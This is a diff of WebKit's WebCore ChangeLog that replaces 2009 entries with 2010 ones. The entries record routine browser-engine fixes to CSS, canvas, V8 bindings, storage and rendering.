-        * rendering/HitTestResult.cpp:
-        (WebCore::HitTestResult::spellingToolTip): Besides getting the 
-        spelling tooltip, get its directionality as well.
-        (WebCore::HitTestResult::title): Besides getting the title, 
-        get its directionality as well.
-        * rendering/HitTestResult.h: Add 2 more methods.
-
-2009-07-16  Shinichiro Hamaji  <hamaji@chromium.org>
-
-        Reviewed by Oliver Hunt.
-
-        [CAIRO] pattern of a canvas-element changes after modifications on canvas-element
-        https://bugs.webkit.org/show_bug.cgi?id=20578
-
-        Copy pixel image in ImageBuffer::image() just like CG and Skia glue.
-
-        Test: fast/canvas/canvas-pattern-modify.html
-
-        * platform/graphics/cairo/ImageBufferCairo.cpp:
-        (copySurface):
-        (WebCore::ImageBuffer::image):
-
-2009-07-16  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Beth Dakin.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27353
-        Images mispositioned because of bug in percentage-based relative positioning.
-
-        Added fast/css/nested-floating-relative-position-percentages.html
-
-        * rendering/RenderBoxModelObject.cpp:
-        (WebCore::RenderBoxModelObject::relativePositionOffsetX):
-
-2009-07-16  Kent Tamura  <tkent@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Sends the basename of a selected file for non-multipart form submission.
-        <https://bugs.webkit.org/show_bug.cgi?id=26505>
-
-        Test: fast/forms/get-file-upload.html
-
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::appendFormData):
-
-2009-07-16  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Video size sometimes jumps just after the video starts loading
-        https://bugs.webkit.org/show_bug.cgi?id=27352
-
-        Ensure that the media player is at or after the 'HaveMetadata' state so that
-        the instrinsic size is known before we create the layer for video. This avoids
-        a flash caused by computing the video rect using the default intrinsic size, and then
-        re-computing it when that size changes.
-        
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::isReadyForRendering):
-        (WebCore::MediaPlayerPrivate::updateStates):
-        (WebCore::MediaPlayerPrivate::supportsAcceleratedRendering):
-
-2009-07-16  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Antti Koivisto.
-        Patch by Brady Eidson and Alexey Proskuryakov.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26496
-        <rdar://problem/7065391> Microsoft Outlook Web Access fails because XHR stream connection blocks script loading/revalidation
-
-        After refreshing a page and when all CachedResources on that page are in validation mode, they got an exemption
-        from the connection-per-host limit.  Removing that exemption makes the test case load smoothly after reloads.
-
-        * loader/loader.cpp:
-        (WebCore::Loader::Host::servePendingRequests): Remove the resourceIsCacheValidator exemption to the connection-per-host limit.
-
-2009-07-16  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] V8IsolatedWorld::evaluate needs to call didCreateIsolatedScriptContext
-        https://bugs.webkit.org/show_bug.cgi?id=27335
-
-        evaluateInNewContext makes this delegate call.  evaluateInNewWorld
-        needs to make the same call.  This does not appear to be testable with
-        our current technology.
-
-        * bindings/v8/V8IsolatedWorld.cpp:
-        (WebCore::V8IsolatedWorld::evaluate):
-
-2009-07-15  Jakub Wieczorek  <faw217@gmail.com>
-
-        Reviewed by Simon Hausmann.
-
-        Fix a typo: application/atom=xml -> application/atom+xml.
-
-        * dom/ProcessingInstruction.cpp:
-        (WebCore::ProcessingInstruction::checkStyleSheet):
-
-2009-07-16  Dean McNamee  <deanm@chromium.org>
-
-        Reviewed by Oliver Hunt.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27292
-        Improve handling of <canvas> path operations on an empty path.
-        Implement Skia's Path::hasCurrentPoint().
-
-        * html/CanvasRenderingContext2D.cpp:
-        (WebCore::CanvasRenderingContext2D::lineTo):
-        (WebCore::CanvasRenderingContext2D::quadraticCurveTo):
-        (WebCore::CanvasRenderingContext2D::bezierCurveTo):
-        * platform/graphics/skia/PathSkia.cpp:
-        (WebCore::Path::hasCurrentPoint):
-
-2009-07-15  Shinichiro Hamaji  <hamaji@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Setting white-space and word-wrap via CSS in textarea doesn't override the wrap attribute
-        https://bugs.webkit.org/show_bug.cgi?id=26254
-
-        Make it so that setting white-space and word-wrap via CSS
-        overrides the wrap attribute.
-
-        This involves having the shadow div in the textarea inherit
-        the CSS from its parent instead of hard-coding it in
-        RenderTextControlMultiline.
-        
-        Committer note: Earlier I reverted this change because I did it incorrectly
-        by leaving out css/html.css. In the patch, the filename was the old name
-        css/html4.css and that led to my error.
-
-        * css/html.css:
-        * html/HTMLTextAreaElement.cpp:
-        (WebCore::HTMLTextAreaElement::parseMappedAttribute):
-        * rendering/RenderTextControlMultiLine.cpp:
-        (WebCore::RenderTextControlMultiLine::createInnerTextStyle):
-
-2009-07-15  James Hawkins  <jhawkins@google.com>
-
-        Reviewed by Adam Barth.
-
-        [V8] Remove a local variable that is shadowing a function parameter.
-        https://bugs.webkit.org/show_bug.cgi?id=27309
-
-        No test required as this modification does not change the current behavior.
-
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::instantiateV8Object):
-
-2009-07-15  Adam Langley  <agl@google.com>
-
-        No review: reverting previous change.
-
-        Revert r45959:
-
-        2009-07-15  Dumitru Daniliuc  <dumi@chromium.org>
-        Reviewed by Dimitri Glazkov.
-
-        Adding the Win SQLite VFS implementation for Chromium.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26940
-
-
-        The Chromium side of this patch was landed in 20839, but broke the build. It
-        was reverted in r20840. Thus, I'm reverting this side of the patch too.
-
-        * WebCore.gypi:
-        * platform/chromium/ChromiumBridge.h:
-        * platform/sql/chromium/SQLiteFileSystemChromium.cpp: Removed.
-        * platform/sql/chromium/SQLiteFileSystemChromiumWin.cpp: Removed.
-
-2009-07-15  David Levin  <levin@chromium.org>
-
-        Layout test fix, reverting previous change.
-
-        Reverting r45962 as it caused several layout test failures.
-
-        * html/HTMLTextAreaElement.cpp:
-        (WebCore::HTMLTextAreaElement::parseMappedAttribute):
-        * rendering/RenderTextControlMultiLine.cpp:
-        (WebCore::RenderTextControlMultiLine::createInnerTextStyle):
-
-2009-06-08  Shinichiro Hamaji  <hamaji@chromium.org>
+        Fix for <rdar://problem/7594212> 
+        https://bugs.webkit.org/show_bug.cgi?id=34549 - CSS counters crash at http://www.w3.org/TR/css3-content/
+        CrashTracer: [USER] 20 crashes in Safari at com.apple.WebCore: WebCore::CounterNode::insertAfter + 319
 
-        Reviewed by Eric Seidel.
-
-        Setting white-space and word-wrap via CSS in textarea doesn't override the wrap attribute
-        https://bugs.webkit.org/show_bug.cgi?id=26254
-
-        Make it so that setting white-space and word-wrap via CSS
-        overrides the wrap attribute.
-
-        This involves having the shadow div in the textarea inherit
-        the CSS from its parent instead of hard-coding it in
-        RenderTextControlMultiline.
-
-        * css/html4.css:
-        * html/HTMLTextAreaElement.cpp:
-        (WebCore::HTMLTextAreaElement::parseMappedAttribute):
-        * rendering/RenderTextControlMultiLine.cpp:
-        (WebCore::RenderTextControlMultiLine::createInnerTextStyle):
-
-2009-07-15  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Adding the Win SQLite VFS implementation for Chromium.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26940
-
-        * platform/chromium/ChromiumBridge.h:
-        * platform/sql/chromium: Added.
-        * platform/sql/chromium/SQLiteFileSystemChromium.cpp: Added.
-        * platform/sql/chromium/SQLiteFileSystemChromiumWin.cpp: Added.
-
-2009-07-15  Jian Li  <jianli@chromium.org>
-
-        Reviewed by David Levin.
-
-        Bug 25151 - workers that fail to load scripts not firing error event.
-        https://bugs.webkit.org/show_bug.cgi?id=25151
-
-        This fixes the problem that an error event is not fired when the worker
-        script fails to load. Some reasons this may occur are an invalid URL for
-        the worker script or a cross-origin redirect.
-
-        We also moves the code to complete the URL and check its origin from
-        Worker constructor to WorkerScriptLoader loading functions in order to
-        move the exception throwing logic out of the scope of Worker constructor.
-        Due to this change, we also remove the output ExceptionCode parameter
-        in the worker constructor. Corresponding JS/V8 binding codes have been
-        updated to reflect this change.
-
-        * bindings/js/JSWorkerConstructor.cpp:
-        (WebCore::constructWorker):
-        * bindings/v8/custom/V8WorkerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * workers/Worker.cpp:
-        (WebCore::Worker::Worker):
-        (WebCore::Worker::notifyFinished):
-        * workers/Worker.h:
-        (WebCore::Worker::create):
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::importScripts):
-        * workers/WorkerScriptLoader.cpp:
-        (WebCore::toCrossOriginRedirectPolicy):
-        (WebCore::WorkerScriptLoader::loadSynchronously):
-        (WebCore::WorkerScriptLoader::loadAsynchronously):
-        (WebCore::notifyLoadErrorTask):
-        (WebCore::WorkerScriptLoader::createResourceRequest):
-        (WebCore::WorkerScriptLoader::didFail):
-        (WebCore::WorkerScriptLoader::didFailRedirectCheck):
-        (WebCore::WorkerScriptLoader::didReceiveAuthenticationCancellation):
-        (WebCore::WorkerScriptLoader::notifyError):
-        * workers/WorkerScriptLoader.h:
-        (WebCore::):
-        (WebCore::WorkerScriptLoader::url):
+        Test: fast/css/counters/counter-before-selector-crash.html
 
-2009-07-15  Dan Bernstein  <mitz@apple.com>
+        * rendering/RenderCounter.cpp: (WebCore::updateCounters): nil check.
 
-        Reviewed by Dave Hyatt.
+2010-02-03  Adele Peterson  <adele@apple.com>
 
-        text-shadow is not drawn for text with transparent colour
-        https://bugs.webkit.org/show_bug.cgi?id=21374
+        Reviewed by Brady Eidson.
 
-        Test: fast/text/shadow-translucent-fill.html
+        Initialize the variable in the last checkin to false.  I didn't realize DRT relies on this being false.  
+        So ports that want visited link tracking need to set that flag.
 
-        * rendering/InlineTextBox.cpp:
-        (WebCore::paintTextWithShadows): If the text fill color is not opaque,
-        paint all shadows separately from the text, by casting them from
-        clipped-out opaque text.
+        * page/PageGroup.cpp:
 
-2009-07-15  Adam Treat  <adam.treat@torchmobile.com>
+2010-02-03  Adele Peterson  <adele@apple.com>
 
-        Fix the Qt build.
+        Reviewed by Brady Eidson.
 
-        * html/HTMLAreaElement.cpp:
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=34547
+        static shouldTrackVisitedLinks is not initialized
 
-2009-07-15  Jeremy Orlow  <jorlow@chromium.org>
+        For ports that don't call into WebKit to initialize this, 
+        we should initialize to true so they get the visited link behavior by default.
 
-        Reviewed by Darin Fisher.
+        * page/PageGroup.cpp:
 
-        Cleanup DOM Storage dependencies.
-        https://bugs.webkit.org/show_bug.cgi?id=27180
-
-        DOM Storage had several unnecessary (and probably unintended)
-        dependencies.  This patch replaces many includes of header files with
-        forward declaration of classes, making some destructors explicit, and
-        taking some factories out of the header files.
-
-        This will allow things like StorageAreaSync to take a StorageAreaImpl*
-        (as it should) rather than a StorageArea* which previously weren't
-        possible because the dependencies were such a tangled mess.
-
-        * storage/LocalStorageTask.cpp:
-        (WebCore::LocalStorageTask::~LocalStorageTask):
-        * storage/LocalStorageTask.h:
-        * storage/Storage.cpp:
-        (WebCore::Storage::~Storage):
-        * storage/Storage.h:
-        * storage/StorageArea.cpp:
-        * storage/StorageArea.h:
-        * storage/StorageAreaImpl.cpp:
-        * storage/StorageAreaImpl.h:
-        * storage/StorageAreaSync.cpp:
-        (WebCore::StorageAreaSync::~StorageAreaSync):
-        * storage/StorageAreaSync.h:
-        * storage/StorageEvent.cpp:
-        (WebCore::StorageEvent::create):
-        (WebCore::StorageEvent::StorageEvent):
-        * storage/StorageEvent.h:
-        * storage/StorageNamespace.h:
-        * storage/StorageNamespaceImpl.cpp:
-        * storage/StorageNamespaceImpl.h:
-        * storage/StorageSyncManager.cpp:
-        (WebCore::StorageSyncManager::~StorageSyncManager):
-        * storage/StorageSyncManager.h:
-
-2009-07-15  Chris Marrin  <cmarrin@apple.com>
+2010-02-03  Dan Bernstein  <mitz@apple.com>
 
         Reviewed by Simon Fraser.
 
-        Incorrect animation when trying to duplicate effect of transform-origin
-        https://bugs.webkit.org/show_bug.cgi?id=27310
-
-        The bug is that matrix animation is being used when animating
-        a list of transform functions that match in the from and to states.
-        This sometimes works. But because of the way CA does matrix animation
-        function lists like the one shown in the testcase animate incorrectly.
-
-        This fixes the bug by always doing component animation
-        as long as the function lists match. This allows CA
-        to animate the components and then recompose the result
-        into the correct matrix.
-
-        Test: animations/transform-origin-vs-functions.html
-
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayerCA::animateTransform):
-
-2009-07-15  Albert J. Wong  <ajwong@chromium.org>
-
-        Reviewed by David Levin.
-
-        Upstream the V8NPObject and NPV8Object build changes for WebCore.gypi.
-
-        Add upstreamed V8 bindings files into WebCore.gypi so they can be seen
-        downstream
-        https://bugs.webkit.org/show_bug.cgi?id=27274
-
-        Changes the build file for chromium.  Test built the chromium tree
-        to verify.
-
-        * WebCore.gypi:
-
-2009-07-15  Mark Rowe  <mrowe@apple.com>
-
-        I like it when the code compiles.
-
-        * WebCore.base.exp:
-
-2009-07-15  Darin Adler  <darin@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        Renamed parseURL to deprecatedParseURL.
-
-        * bindings/js/JSAttrCustom.cpp:
-        (WebCore::JSAttr::setValue): Renamed.
-        * bindings/js/JSElementCustom.cpp:
-        (WebCore::allowSettingSrcToJavascriptURL): Renamed.
-        * bindings/js/JSHTMLFrameElementCustom.cpp:
-        (WebCore::allowSettingJavascriptURL): Renamed.
-        * bindings/js/JSHTMLIFrameElementCustom.cpp:
-        (WebCore::JSHTMLIFrameElement::setSrc): Renamed.
-        * bindings/objc/DOM.mm:
-        (-[DOMElement _getURLAttribute:]): Renamed.
-        * bindings/objc/DOMHTML.mm:
-        (-[DOMHTMLDocument _createDocumentFragmentWithMarkupString:baseURLString:]): Renamed.
-        * bindings/v8/custom/V8CustomBinding.cpp:
-        (WebCore::allowSettingFrameSrcToJavascriptUrl): Renamed.
-        * css/CSSHelper.cpp:
-        (WebCore::deprecatedParseURL): Renamed.
-        * css/CSSHelper.h: Renamed and updated comment.
-        * html/HTMLAnchorElement.cpp:
-        (WebCore::HTMLAnchorElement::defaultEventHandler): Renamed.
-        (WebCore::HTMLAnchorElement::parseMappedAttribute): Renamed.
-        * html/HTMLBaseElement.cpp:
-        (WebCore::HTMLBaseElement::parseMappedAttribute): Renamed.
-        * html/HTMLBodyElement.cpp:
-        (WebCore::HTMLBodyElement::parseMappedAttribute): Renamed.
-        * html/HTMLEmbedElement.cpp:
-        (WebCore::HTMLEmbedElement::parseMappedAttribute): Renamed.
-        * html/HTMLFormElement.cpp:
-        (WebCore::HTMLFormElement::parseMappedAttribute): Renamed.
-        * html/HTMLFrameElementBase.cpp:
-        (WebCore::HTMLFrameElementBase::parseMappedAttribute): Renamed.
-        * html/HTMLImageElement.cpp:
-        (WebCore::HTMLImageElement::parseMappedAttribute): Renamed.
-        * html/HTMLImageLoader.cpp:
-        (WebCore::HTMLImageLoader::sourceURI): Renamed.
-        * html/HTMLLinkElement.cpp:
-        (WebCore::HTMLLinkElement::parseMappedAttribute): Renamed.
-        * html/HTMLObjectElement.cpp:
-        (WebCore::HTMLObjectElement::parseMappedAttribute): Renamed.
-        * html/HTMLTableElement.cpp:
-        (WebCore::HTMLTableElement::parseMappedAttribute): Renamed.
-        * html/HTMLTablePartElement.cpp:
-        (WebCore::HTMLTablePartElement::parseMappedAttribute): Renamed.
-        * html/HTMLTokenizer.cpp:
-        (WebCore::HTMLTokenizer::parseTag): Renamed.
-        * html/PreloadScanner.cpp:
-        (WebCore::PreloadScanner::processAttribute): Renamed.
-        (WebCore::PreloadScanner::emitCSSRule): Renamed.
-        * platform/chromium/ClipboardChromium.cpp:
-        (WebCore::ClipboardChromium::declareAndWriteDragImage): Renamed.
-        * platform/chromium/PasteboardChromium.cpp:
-        (WebCore::Pasteboard::writeImage): Renamed.
-        * platform/qt/ClipboardQt.cpp:
-        (WebCore::ClipboardQt::declareAndWriteDragImage): Renamed.
-        * platform/win/ClipboardWin.cpp:
-        (WebCore::ClipboardWin::declareAndWriteDragImage): Renamed.
-        * rendering/HitTestResult.cpp:
-        (WebCore::HitTestResult::absoluteImageURL): Renamed.
-        (WebCore::HitTestResult::absoluteMediaURL): Renamed.
-        (WebCore::HitTestResult::absoluteLinkURL): Renamed.
-        * svg/SVGAElement.cpp:
-        (WebCore::SVGAElement::defaultEventHandler): Renamed.
-        * svg/SVGImageLoader.cpp:
-        (WebCore::SVGImageLoader::sourceURI): Renamed.
-        * wml/WMLAElement.cpp:
-        (WebCore::WMLAElement::defaultEventHandler): Renamed.
-        * wml/WMLImageLoader.cpp:
-        (WebCore::WMLImageLoader::sourceURI): Renamed.
-
-2009-07-15  Darin Adler  <darin@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        CSSHelper.h's parseURL is a function that no one should ever call
-        Part 1: Eliminate callers in the CSS parser.
-        https://bugs.webkit.org/show_bug.cgi?id=26599
-
-        Test: fast/css/uri-token-parsing.html
-
-        * css/CSSHelper.h: Added a comment explaining why nobody should ever call this
-        function. A FIXME suggests a next step, which would be to rename it deprecatedParseURL.
+        <rdar://problem/7577604> Drag and Drop: background elements are bleeding through
+        https://bugs.webkit.org/show_bug.cgi?id=34546
 
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue): Removed unneeded call to parseURL;
-        CSSParser::text already takes care of parsing the URI token syntax, and the
-        parseURL function does no good.
-        (WebCore::CSSParser::parseContent): Ditto.
-        (WebCore::CSSParser::parseFillImage): Ditto.
-        (WebCore::CSSParser::parseFontFaceSrc): Ditto.
-        (WebCore::CSSParser::parseBorderImage): Ditto.
-        (WebCore::isCSSWhitespace): Added. Helper function that makes the text function
-        easier to read.
-        (WebCore::CSSParser::text): Tweak logic so that leading and trailing whitespace
-        are both trimmed before removing the quote marks. Changed to use the
-        isCSSWhitespace, isASCIIHexDigit, and toASCIIHexValue functions for clarity.
-
-        * css/CSSParser.h: Removed stray "public:" in this header.
-
-        * platform/text/StringImpl.cpp:
-        (WebCore::StringImpl::substring): Optimized the case where the substring covers
-        the entire string, so we just share the StringImpl instead of making a new one.
-        This case came up in earlier versions of the CSS parser changes above.
-        (WebCore::StringImpl::substringCopy): Streamlined the logic here and made it
-        not call substring any more. Before, this was relying on the substring function
-        always making a copy of any non-empty substring.
-
-2009-07-15  Darin Adler  <darin@apple.com>
+        * manual-tests/drag-image-table-part-decorations.html: Added.
+        * rendering/RenderFieldset.cpp:
+        (WebCore::RenderFieldset::paintBoxDecorations): Bail out if this object shouldn’t
+        paint within the current painting root.
+        * rendering/RenderTable.cpp:
+        (WebCore::RenderTable::paintBoxDecorations): Ditto.
+        * rendering/RenderTableCell.cpp:
+        (WebCore::RenderTableCell::paintBackgroundsBehindCell): Ditto.
+        (WebCore::RenderTableCell::paintBoxDecorations): Ditto.
 
-        Reviewed by John Sullivan.
+2010-02-03  Nate Chapin  <japhet@chromium.org>
 
-        After double-clicking a word, using Shift-arrow to select behaves unpredictably
-        https://bugs.webkit.org/show_bug.cgi?id=27177
-        rdar://problem/7034324
+        Unreviewed, Chromium mac build fix.
 
-        Test: editing/selection/extend-selection-after-double-click.html
+        [V8] Remove unused V8Proxy* variable from generated wrapping code.
 
-        The bug was due to the m_lastChangeWasHorizontalExtension flag, which was not
-        being cleared in many cases where it should have been.
+        * bindings/scripts/CodeGeneratorV8.pm:
 
-        * editing/SelectionController.cpp:
-        (WebCore::SelectionController::setSelection): Set m_lastChangeWasHorizontalExtension
-        to false. This catches all sorts of cases that don't flow through the modify function.
-        Before, the flag would reflect the last call to the modify function, which was not
-        necessarily the last selection change.
-        (WebCore::SelectionController::willBeModified): Rearrange function for clarity.
-        Remove code that sets m_lastChangeWasHorizontalExtension; that is now handled elsewhere. 
-        (WebCore::SelectionController::modify): Call setLastChangeWasHorizontalExtension after
-        setSelection when setting up a trial selection controller, since setSelection now
-        clears that flag. Also changed both trial selection controller cases to set the flag,
-        although it's not strictly necessary in both cases. Added code to set
-        m_lastChangeWasHorizontalExtension when extending the selection, which used to be
-        handled in willBeModified. Now we need to do it after the selection change.
-
-2009-07-15  Jeremy Orlow  <jorlow@chromium.org>
+2010-02-03  Nate Chapin  <japhet@chromium.org>
 
         Reviewed by Dimitri Glazkov.
 
-        Need to update DOM Storage files in GYPI file.
-        https://bugs.webkit.org/show_bug.cgi?id=27317
-
-        Need to update DOM Storage files in the GYPI file.  They're pretty out
-        of date and we're on the path towards enabling them for everyone!
-
-        * WebCore.gypi:
-
-2009-07-15  Kwang Yul Seo  <skyul@company100.net>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26794
-        Make Yacc-generated parsers to use fastMalloc/fastFree.
+        [V8] Use toV8() to wrap in the custom bindings, and remove
+        the old wrapping code from V8DOMWrapper.
         
-        Define YYMALLOC and YYFREE to fastMalloc and fastFree
-        respectively.
-
-        * css/CSSGrammar.y:
-        * xml/XPathGrammar.y:
-
-2009-07-15  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Adam Roben.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27193
-        Don't run in to anonymous blocks.  No other browsers do this, and our implementation of run-in
-        is effectively broken as a result.
-
-        No new tests. Changed fast/runin/001.html and fast/runin/generated.html to match new behavior.
-
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::handleRunInChild):
-
-2009-07-15  Yuzo Fujishima  <yuzo@google.com>
-
-        Reviewed by Darin Adler.
-
-        Test: fast/js/instanceof-operator.html
-
-        Fix for: Bug 25205 -  XMLHttpRequest instance is not an instanceof XMLHttpRequest
-        https://bugs.webkit.org/show_bug.cgi?id=25205
-
-        In addition to for XMLHttpRequest, this also fixes for:
-        - Audio
-        - Image
-        - MessageChannel
-        - Option
-        - WebKitCSSMatrix
-        - WebKitPoint
-        - Worker
-        - XSLTProcessor
-
-        * bindings/js/JSAudioConstructor.cpp:
-        (WebCore::JSAudioConstructor::JSAudioConstructor):
-        * bindings/js/JSAudioConstructor.h:
-        * bindings/js/JSDOMBinding.h:
-        (WebCore::DOMConstructorObject::createStructure):
-        (WebCore::DOMConstructorObject::DOMConstructorObject):
-        * bindings/js/JSImageConstructor.cpp:
-        (WebCore::JSImageConstructor::JSImageConstructor):
-        * bindings/js/JSImageConstructor.h:
-        * bindings/js/JSMessageChannelConstructor.cpp:
-        (WebCore::JSMessageChannelConstructor::JSMessageChannelConstructor):
-        * bindings/js/JSMessageChannelConstructor.h:
-        * bindings/js/JSOptionConstructor.cpp:
-        (WebCore::JSOptionConstructor::JSOptionConstructor):
-        * bindings/js/JSOptionConstructor.h:
-        * bindings/js/JSWebKitCSSMatrixConstructor.cpp:
-        (WebCore::JSWebKitCSSMatrixConstructor::JSWebKitCSSMatrixConstructor):
-        * bindings/js/JSWebKitCSSMatrixConstructor.h:
-        * bindings/js/JSWebKitPointConstructor.cpp:
-        (WebCore::JSWebKitPointConstructor::JSWebKitPointConstructor):
-        * bindings/js/JSWebKitPointConstructor.h:
-        * bindings/js/JSWorkerConstructor.cpp:
-        (WebCore::JSWorkerConstructor::JSWorkerConstructor):
-        * bindings/js/JSWorkerConstructor.h:
-        * bindings/js/JSXMLHttpRequestConstructor.cpp:
-        (WebCore::JSXMLHttpRequestConstructor::JSXMLHttpRequestConstructor):
-        * bindings/js/JSXMLHttpRequestConstructor.h:
-        * bindings/js/JSXSLTProcessorConstructor.cpp:
-        (WebCore::JSXSLTProcessorConstructor::JSXSLTProcessorConstructor):
-        * bindings/js/JSXSLTProcessorConstructor.h:
-
-2009-07-15  Kai Br�ning  <kai@granus.net>
-
-        Reviewed by Dave Hyatt.
-
-        CSS21 attribute selectors not dynamic for xml.
-        https://bugs.webkit.org/show_bug.cgi?id=25072
-
-        Moved the relevant test in StyledElement::attributeChanged()
-        to a new function Element::recalcStyleIfNeededAfterAttributeChanged()
-        so it can be called from both StyledElement::attributeChanged()
-        and Element::attributeChanged().
-        Refactored Element::attributeChanged() into
-        Element::updateAfterAttributeChanged() and
-        Element::recalcStyleIfNeededAfterAttributeChanged(), which are called
-        separately from StyledElement::attributeChanged().
-
-        Test: fast/css/attribute-selector-dynamic.xml
-
-        * dom/Element.cpp:
-        (WebCore::Element::attributeChanged):
-        (WebCore::Element::updateAfterAttributeChanged):
-        (WebCore::Element::recalcStyleIfNeededAfterAttributeChanged):
-        * dom/Element.h:
-        * dom/StyledElement.cpp:
-        (WebCore::StyledElement::attributeChanged):
-
-2009-07-15  Alpha Lam  <hclam@chromium.org>
-
-        Reviewed by David Levin.
-
-        [V8] Layout test failures for drawImage in Canvas
-        https://bugs.webkit.org/show_bug.cgi?id=27311
-
-        Fixing several canvas layout tests failures due to a
-        missing return statement in CanvasRenderingContext2DDrawImage() which
-        was accidentally removed in r45929.
-
-        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
-
-2009-07-15  Robert Hogan  <robert@roberthogan.net>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26969
-
-        If the httpMethod() of the request passed to SubresourceLoader::create is not
-        supported by the client we must expect to call didFail() while m_loader is still null.
-
-        * loader/DocumentThreadableLoader.cpp:
-        (DocumentThreadableLoader::didFail):Changed.
-
-2009-07-15  Mark Rowe  <mrowe@apple.com>
-
-        Fix the Mac build.
-
-        * WebCore.base.exp:
-        * css/MediaQueryEvaluator.cpp:
-        * rendering/SVGRenderTreeAsText.cpp:
-        * rendering/style/SVGRenderStyle.cpp:
-        * svg/graphics/SVGPaintServer.cpp:
-
-2009-07-07  Alpha Lam  <hclam@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] drawImage method of HTMLCanvasElement to accept HTMLVideoElement as argument
-        https://bugs.webkit.org/show_bug.cgi?id=27170
-
-        Changed CanvasRenderingContext2DDrawImage() to accept HTMLVideoElement
-        as a parameter of drawImage() for HTMLCanvasElement.
-
-        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
-
-2009-07-15  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] Fix isolated world constructors
-        https://bugs.webkit.org/show_bug.cgi?id=27287
-
-        Don't enter V8Proxy::m_context before creating DOM constructors.
-        Instead, use getWrapperContext to get the right context.
-
-        After this patch, all my tests pass.  I'll enable the feature
-        downstream and land the tests.
+        https://bugs.webkit.org/show_bug.cgi?id=32563
 
         * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/ScriptController.cpp:
+        * bindings/v8/ScriptObject.cpp:
+        * bindings/v8/V8AbstractEventListener.cpp:
+        * bindings/v8/V8Collection.h:
+        * bindings/v8/V8DOMWindowShell.cpp:
         * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getConstructor):
-        (WebCore::V8DOMWrapper::lookupDOMWrapper):
-        * bindings/v8/V8DOMWrapper.h:
-        * bindings/v8/V8IsolatedWorld.cpp:
-        (WebCore::V8IsolatedWorld::evaluate):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::createWrapperFromCache):
-        (WebCore::V8Proxy::isContextInitialized):
-        (WebCore::V8Proxy::disposeContextHandles):
-        (WebCore::V8Proxy::installDOMWindow):
-        (WebCore::V8Proxy::initContextIfNeeded):
-        (WebCore::V8Proxy::getHiddenObjectPrototype):
-        (WebCore::V8Proxy::installHiddenObjectPrototype):
-        * bindings/v8/V8Proxy.h:
-
-2009-07-15  Antonio Gomes   <antonio.gomes@openbossa.org>
-
-        Reviewed by Darin Adler.
-
-        useless null-check statement in visible_units.cpp@logicalStartOfLine
-        https://bugs.webkit.org/show_bug.cgi?id=27154
-
-        Simple fix.
-
-        * editing/visible_units.cpp:
-        (WebCore::logicalStartOfLine): Doubled honorEditableBoundaryAtOrAfter() call removed.
-
-2009-07-15  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27304
-        WebKit should provide usage and eligibility information about the page cache.
-
-        * WebCore.base.exp:
-
-        * history/CachedFrame.cpp:
-        (WebCore::CachedFrame::childFrameCount):
-        * history/CachedFrame.h:
-
-        * history/PageCache.cpp:
-        (WebCore::PageCache::frameCount):
-        (WebCore::PageCache::autoreleasedPageCount):
-        * history/PageCache.h:
-        (WebCore::PageCache::pageCount):
-
-2009-07-15  Shinichiro Hamaji  <hamaji@chromium.org>
-
-        Reviewed by David Levin.
-
-        Chromium's canvas forgets its context after fillText again
-        https://bugs.webkit.org/show_bug.cgi?id=27293
-
-        No new tests because the test for this was already added in
-        https://bugs.webkit.org/show_bug.cgi?id=26436
-
-        * platform/graphics/chromium/TransparencyWin.cpp:
-        (WebCore::TransparencyWin::compositeTextComposite):
-
-2009-07-14  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27283
-
-        Implement the new 'rem' unit from CSS3.
-
-        Added some rem-* tests in fast/css.
-
-        * css/CSSGrammar.y:
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::validUnit):
-        (WebCore::unitFromString):
-        (WebCore::CSSParser::parseValue):
-        (WebCore::CSSParser::lex):
-        * css/CSSParserValues.cpp:
-        (WebCore::CSSParserValue::createCSSValue):
-        * css/CSSPrimitiveValue.cpp:
-        (WebCore::CSSPrimitiveValue::computeLengthInt):
-        (WebCore::CSSPrimitiveValue::computeLengthIntForLength):
-        (WebCore::CSSPrimitiveValue::computeLengthShort):
